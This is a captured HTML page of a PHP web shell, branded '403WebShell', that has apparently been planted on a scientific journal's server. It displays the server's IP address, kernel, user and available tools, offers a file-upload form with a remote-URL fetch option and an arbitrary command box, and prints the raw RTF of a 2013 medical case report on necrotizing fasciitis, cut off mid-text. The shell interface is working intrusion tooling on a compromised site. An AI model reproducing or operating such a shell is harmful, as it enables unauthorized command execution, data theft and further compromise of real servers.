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<html>
<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Server IP : <font color=#df5>172.67.215.126</font> &nbsp;/&nbsp; Your IP : <font color=#df5>172.69.130.121</font><br>Web Server : <font color='#df5'>Apache/2.4.52 (Ubuntu)</font><br>System : <font color='#df5'>Linux ip-172-31-19-221 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64</font><br>User : <font color='#df5'>www-data&nbsp;</font>( <font color='#df5'>33</font>)<br>PHP Version : <font color='#df5'>8.1.28</font><br>Disable Function : <font color='#df5'>NONE</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=green>ON</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=red>OFF</font> &nbsp;|&nbsp; Sudo : <font color=green>ON</font> &nbsp;|&nbsp; Pkexec : <font color=green>ON</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/efsdata">efsdata</a>/<a href="?loknya=/efsdata/scitechnol.com">scitechnol.com</a>/<a href="?loknya=/efsdata/scitechnol.com/httpdocs">httpdocs</a>/<a href="?loknya=/efsdata/scitechnol.com/httpdocs/submission">submission</a>/<a href="?loknya=/efsdata/scitechnol.com/httpdocs/submission/uploads">uploads</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='red'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='red'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://linuxploit.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="kerang.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form></table><br><hr><center style="font-family: Russo One">[ <a href='/admin/eb-photos/-ewew-2890.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /efsdata/scitechnol.com/httpdocs/submission/uploads/0-1-Manuscript-2013-05-21.rtf</tr></td></table><br/><pre>{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}
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{\*\wgrffmtfilter 2450}\nofeaturethrottle1\ilfomacatclnup0\ltrpar \sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid16001563\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2
\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6
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{\pntxtb (}{\pntxta )}}\pard\plain \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 
\fs22\lang1033\langfe1033\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid10372606\charrsid8064714 \hich\af0\dbch\af31505\loch\f0 Necrotizing }{\rtlch\fcs1 \ab\af0\afs24 
\ltrch\fcs0 \b\f0\fs24\insrsid8064714\charrsid8064714 \hich\af0\dbch\af31505\loch\f0 Fasciitis Complicating}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid10372606\charrsid8064714 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \ab\af0\afs24 
\ltrch\fcs0 \b\f0\fs24\insrsid10495993\charrsid8064714 \hich\af0\dbch\af31505\loch\f0 Vulval }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid10372606\charrsid8064714 \hich\af0\dbch\af31505\loch\f0 Ulcer -A Case Report}{\rtlch\fcs1 \ab\af0\afs24 
\ltrch\fcs0 \b\f0\fs24\insrsid16001563 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid3484076 \hich\af0\dbch\af31505\loch\f0 Abstract
\par }\pard \ltrpar\ql \fi720\li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8218563 \hich\af0\dbch\af31505\loch\f0 Necrotizing fasciiti}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3484076\charrsid202925 \hich\af0\dbch\af31505\loch\f0 s, NF, is also known as the flesh eating disease. The incidence is rare}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3484076 .}{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3484076\charrsid3484076 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3484076\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Infection}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid10100029 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid10100029 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3484076\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
Mortality is a high as 40%. Very few cases have been reported in English literature and also very few cases of necrotizing fasciitis of female perineum in India have been reported.
\par }\pard \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3484076\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
Here we report a case in India who recovered well with repeated debridement\hich\af0\dbch\af31505\loch\f0  and dressing. }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3484076 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8218563 \hich\af0\dbch\af31505\loch\f0 Key words: angiothrombosis, necrotizing fasciitis, perineum, vulval ulcer,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8218563\charrsid202925 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid3484076\charrsid8064714 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid10372606\charrsid8064714 \hich\af0\dbch\af31505\loch\f0 Introduction:}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid13458794\charrsid8064714 -}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid8064714 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1786892\charrsid8064714 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid8064714 
\par }\pard \ltrpar\ql \fi720\li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
Necrotizing fasciities}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10495993\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , NF}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
, is also known as the flesh eating\hich\af0\dbch\af31505\loch\f0  disease. The incidence is rare and is found in Africa because of the practice of female genital }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1786892\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 mutilation}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid1786892\charrsid202925 \hich\af0\dbch\af31505\loch\f0 1}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1786892\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 . }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13450609\charrsid202925 \hich\af0\dbch\af31505\loch\f0 It}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1786892\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 is rapidly progressing and characterized by extensive gangrene and }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13450609\charrsid202925 \hich\af0\dbch\af31505\loch\f0 necrosis }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10443253 
\hich\af0\dbch\af31505\loch\f0 of }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1263404\charrsid202925 \hich\af0\dbch\af31505\loch\f0 subcutaneous tissues, skin and superficial fascia due to invasio\hich\af0\dbch\af31505\loch\f0 
n by microorganisms that lead to angiothrombosis and impairm}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1138198\charrsid202925 \hich\af0\dbch\af31505\loch\f0 e}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1263404\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 nt of }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1138198\charrsid202925 \hich\af0\dbch\af31505\loch\f0 microcirculation. The}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640987\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  female genitelia is affected after }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1138198\charrsid202925 \hich\af0\dbch\af31505\loch\f0 B}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640987\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 artholin\hich\f0 \rquote \loch\f0 s abscess or vulvar}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1138198\charrsid202925 \hich\af0\dbch\af31505\loch\f0  abscess. Other predisposing co}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid13640987\charrsid202925 \hich\af0\dbch\af31505\loch\f0 nditions include septic abortion,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1138198\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid13640987\charrsid202925 \hich\af0\dbch\af31505\loch\f0 hysterectomy,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1138198\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13640987\charrsid202925 \hich\af0\dbch\af31505\loch\f0 mini}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1138198\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid10443253\charrsid202925 \hich\af0\dbch\af31505\loch\f0 laprotomy for}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640987\charrsid202925 \hich\af0\dbch\af31505\loch\f0  bilateral salpingotomy,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid10443253 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640987\charrsid202925 \hich\af0\dbch\af31505\loch\f0 episiotomy and caesarean section}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid7215000\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640987\charrsid202925 \hich\af0\dbch\af31505\loch\f0 abdominal and perineal infections}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\super\insrsid13376337\charrsid202925 \hich\af0\dbch\af31505\loch\f0 2}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Mortality is a high as 40%}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\super\insrsid10372606\charrsid202925 \hich\af0\dbch\af31505\loch\f0 3}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1263404\charrsid202925 \hich\af0\dbch\af31505\loch\f0 . }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid15687075\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Very}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1263404\charrsid202925 \hich\af0\dbch\af31505\loch\f0  few cases}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid15687075\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9898765\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
have been reported in English literature and also very few cases of necrotizing fasciitis of female perineum}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15687075\charrsid202925 \hich\af0\dbch\af31505\loch\f0  in }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid13450609\charrsid202925 \hich\af0\dbch\af31505\loch\f0 India have been}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9898765\charrsid202925 \hich\af0\dbch\af31505\loch\f0  reported.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13640987\charrsid202925 
\par }\pard \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
Here we report a case in India who recovered well with repeated debridement and dressing.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1263404\charrsid202925 \hich\af0\dbch\af31505\loch\f0  
\par }\pard\plain \ltrpar\s21\ql \li0\ri0\sl480\slmult1\widctlpar\wrapdefault\faauto\rin0\lin0\itap0\pararsid8733802 \rtlch\fcs1 \af1\afs24\alang1025 \ltrch\fcs0 \fs24\cf1\lang1033\langfe1033\loch\af1\hich\af1\dbch\af31505\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid13640987\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0 \ltrch\fcs0 \f0\insrsid5588799\charrsid202925 
\par }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 
\fs22\lang1033\langfe1033\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Case }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 
\b\f0\fs24\insrsid13450609\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Report:}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid13458794\charrsid202925 -\tab \tab \tab \hich\af0\dbch\af31505\loch\f0          }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid9898765\charrsid202925 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13450609\charrsid202925 \hich\af0\dbch\af31505\loch\f0  A 50 year }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
old menopausal lady reported to the hospital }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12333024\charrsid202925 \hich\af0\dbch\af31505\loch\f0 in March 2013}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  with complaints of maggots coming out of \hich\af0\dbch\af31505\loch\f0 vulvar ulcer, pain in pelvic area &amp; fever past 10 days. The problem started as a boil in peri \hich\f0 \endash \loch\f0 
 anal region which increased in size }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12333024\charrsid202925 \hich\af0\dbch\af31505\loch\f0 within 4}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  \hich\f0 \endash \loch\f0  5 days so as to involve whole of left labia. On the 5}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 th}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  day, the boil burst by itself}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8021952\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  lea}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8021952\charrsid202925 \hich\af0\dbch\af31505\loch\f0 v}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 ing to a large raw area with large amounts of }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12333024\charrsid202925 \hich\af0\dbch\af31505\loch\f0 yellowish, blood}{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  tinged,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12333024\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
foul smelling sticky discharge. She also had fever with chills and pain in perineal region which gradually increased in intensity so that she was unable to even walk a few steps. There \hich\af0\dbch\af31505\loch\f0 
were no triggering factors. On examination, }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15036287\charrsid202925 \hich\af0\dbch\af31505\loch\f0 she}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  was lean and thin, poorly built and nourished. General examination findings were normal except for mild pallor. On local examination, there were multiple ulcers in suprapubic, left &amp; right iliac fossa, lower 
\hich\af0\dbch\af31505\loch\f0 part of }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15036287\charrsid202925 \hich\af0\dbch\af31505\loch\f0 right}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  labia and a main excoriated area involving entire left labia.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4071839 \hich\af0\dbch\af31505\loch\f0 (figure1)}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  Area around the ulcer had raised temperature, was tender and crepts could be felt. Her reports were as follows\line Hb -   9.6 gm %}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8211601\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  Urea \hich\f0 \endash \loch\f0  118 mg %}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8211601\charrsid202925 \hich\af0\dbch\af31505\loch\f0 , }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 TLC      -  18, 800}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8211601\charrsid202925 \hich\af0\dbch\af31505\loch\f0 cells p\hich\af0\dbch\af31505\loch\f0 er cu cm,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0    Cr}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid5445340 \hich\af0\dbch\af31505\loch\f0 eatinine}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0       - 1.38 mg % }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8211601\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 DLC     -   P}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5445340 \hich\af0\dbch\af31505\loch\f0 
olymorphs- }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 90}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5445340 \hich\af0\dbch\af31505\loch\f0 %}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8211601\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  L}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5445340 \hich\af0\dbch\af31505\loch\f0 ymphocytes }{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 10}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5445340 \hich\af0\dbch\af31505\loch\f0 %}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0       }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  Blood Culture \hich\f0 \endash \loch\f0  Negative}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 U}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 \hich\af0\dbch\af31505\loch\f0 rine}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0          -   4-6 pus cells }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
,fasting blood sugar-}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  102 gm %}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 HIV Negative }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 HBsAg}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 \hich\af0\dbch\af31505\loch\f0 negative.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  \line }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Wound}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  swab culture \hich\f0 \endash \loch\f0  g}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8211601\charrsid202925 \hich\af0\dbch\af31505\loch\f0 roup}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  A streptococcus sensitive to drugs prescribed}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 \hich\af0\dbch\af31505\loch\f0 . (}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 C}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 eftriaxone &amp;}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
